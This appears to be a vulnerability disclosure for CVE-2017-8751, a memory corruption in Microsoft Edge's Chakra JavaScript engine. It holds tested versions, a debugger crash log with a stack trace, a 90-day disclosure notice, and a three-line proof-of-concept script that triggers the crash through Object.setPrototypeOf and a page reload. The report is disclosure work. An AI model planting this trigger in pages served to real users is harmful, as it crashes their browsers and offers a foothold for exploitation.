Microsoft Edge: Memory corruption with Object.setPrototypeOf 

CVE-2017-8751


I accidentally found this while trying to reproduce another bug in Edge.

Failed to reproduce on Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
Tested on Microsoft Edge 40.15063.0.0, Microsoft EdgeHTML 15.15063 (Insider Preview).

Crash Log:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chakra!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicType,Js::DynamicType * __ptr64,DefaultComparer<Js::DynamicType const * __ptr64>,1>::FindEntry<Js::DynamicType>+0x41:
00007fff`e2b7c841 8b0c81          mov     ecx,dword ptr [rcx+rax*4] ds:0000023b`4a2ea4c4=????????
0:015> k
 # Child-SP          RetAddr           Call Site
00 000000be`563fbba0 00007fff`e2f52e3e chakra!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicType,Js::DynamicType * __ptr64,DefaultComparer<Js::DynamicType const * __ptr64>,1>::FindEntry<Js::DynamicType>+0x41
01 000000be`563fbbf0 00007fff`e2e1f9a4 chakra!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicType,Js::DynamicType * __ptr64,DefaultComparer<Js::DynamicType const * __ptr64>,1>::TryGetValue+0x56
02 000000be`563fbc40 00007fff`e2cb58a9 chakra!Windows::Data::Text::IUnicodeCharactersStatics::`vcall'{144}'+0x58fc4
03 000000be`563fbcf0 00007fff`e2db04c8 chakra!Js::JavascriptObject::ChangePrototype+0x109
04 000000be`563fbd30 00007fff`e2dbe863 chakra!Js::JavascriptObject::EntrySetPrototypeOf+0xc8
05 000000be`563fbd80 00007fff`e2c5dfb8 chakra!amd64_CallFunction+0x93
06 000000be`563fbde0 00007fff`e2c610da chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x158
07 000000be`563fbe80 00007fff`e2c67c61 chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xaa
08 000000be`563fbf00 00007fff`e2c6436c chakra!Js::InterpreterStackFrame::ProcessProfiled+0x131
09 000000be`563fbf60 00007fff`e2dc1bfd chakra!Js::InterpreterStackFrame::Process+0x12c
0a 000000be`563fbfc0 00007fff`e2d88cd5 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x3bd
0b 000000be`563fc310 0000023a`3c412fc2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
0c 000000be`563fc360 00007fff`e2dbe863 0x0000023a`3c412fc2
0d 000000be`563fc390 00007fff`e2ca6113 chakra!amd64_CallFunction+0x93
0e 000000be`563fc3e0 00007fff`e2c52060 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
0f 000000be`563fc440 00007fff`e2c51167 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x100
10 000000be`563fc530 00007fff`e2d9ec52 chakra!Js::JavascriptFunction::CallRootFunction+0x4b
11 000000be`563fc5a0 00007fff`e2c50fa4 chakra!ScriptSite::CallRootFunction+0x6a
12 000000be`563fc600 00007fff`e2d30c99 chakra!ScriptSite::Execute+0x124
13 000000be`563fc690 00007fff`e2d31fde chakra!ScriptEngine::ExecutePendingScripts+0x1a5
14 000000be`563fc760 00007fff`e2d32271 chakra!ScriptEngine::ParseScriptTextCore+0x436
15 000000be`563fc8b0 00007fff`da0fe8d5 chakra!ScriptEngine::ParseScriptText+0xb1
16 000000be`563fc960 00007fff`da0fe71e edgehtml!CJScript9Holder::ParseScriptText+0x119
17 000000be`563fca00 00007fff`da0fe237 edgehtml!CScriptCollection::ParseScriptText+0x202
18 000000be`563fcae0 00007fff`da0fdb67 edgehtml!CScriptData::CommitCode+0x357
19 000000be`563fcca0 00007fff`da2c50ad edgehtml!CScriptData::Execute+0x20f
1a 000000be`563fcd50 00007fff`da136ad4 edgehtml!CHtmScriptParseCtx::Execute+0x7d
1b 000000be`563fcd80 00007fff`da135ba1 edgehtml!CHtmParseBase::Execute+0x204
1c 000000be`563fce10 00007fff`da2be8cb edgehtml!CHtmPost::Exec+0x1e1
1d 000000be`563fcff0 00007fff`da2be7af edgehtml!CHtmPost::Run+0x2f
1e 000000be`563fd020 00007fff`da2be663 edgehtml!PostManExecute+0x63
1f 000000be`563fd060 00007fff`da2be4fd edgehtml!PostManResume+0xa3
20 000000be`563fd0a0 00007fff`da2ccfb3 edgehtml!CHtmPost::OnDwnChanCallback+0x3d
21 000000be`563fd0f0 00007fff`da2a4ddb edgehtml!CDwnChan::OnMethodCall+0x23
22 000000be`563fd120 00007fff`da163f46 edgehtml!GWndAsyncTask::Run+0x1b
23 000000be`563fd150 00007fff`da280480 edgehtml!HTML5TaskScheduler::RunReadiedTask+0x236
24 000000be`563fd220 00007fff`da2802a3 edgehtml!TaskSchedulerBase::RunReadiedTasksInTaskQueueWithCallback+0x70
25 000000be`563fd270 00007fff`da164af3 edgehtml!HTML5TaskScheduler::RunReadiedTasks+0xa3
26 000000be`563fd2d0 00007fff`da162fe5 edgehtml!NormalPriorityAtInputEventLoopDriver::DriveRegularPriorityTaskExecution+0x53
27 000000be`563fd300 00007fff`fb3dbc50 edgehtml!GlobalWndProc+0x125


PoC:
<script>
Object.setPrototypeOf({}, this);
location.reload();
</script>


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt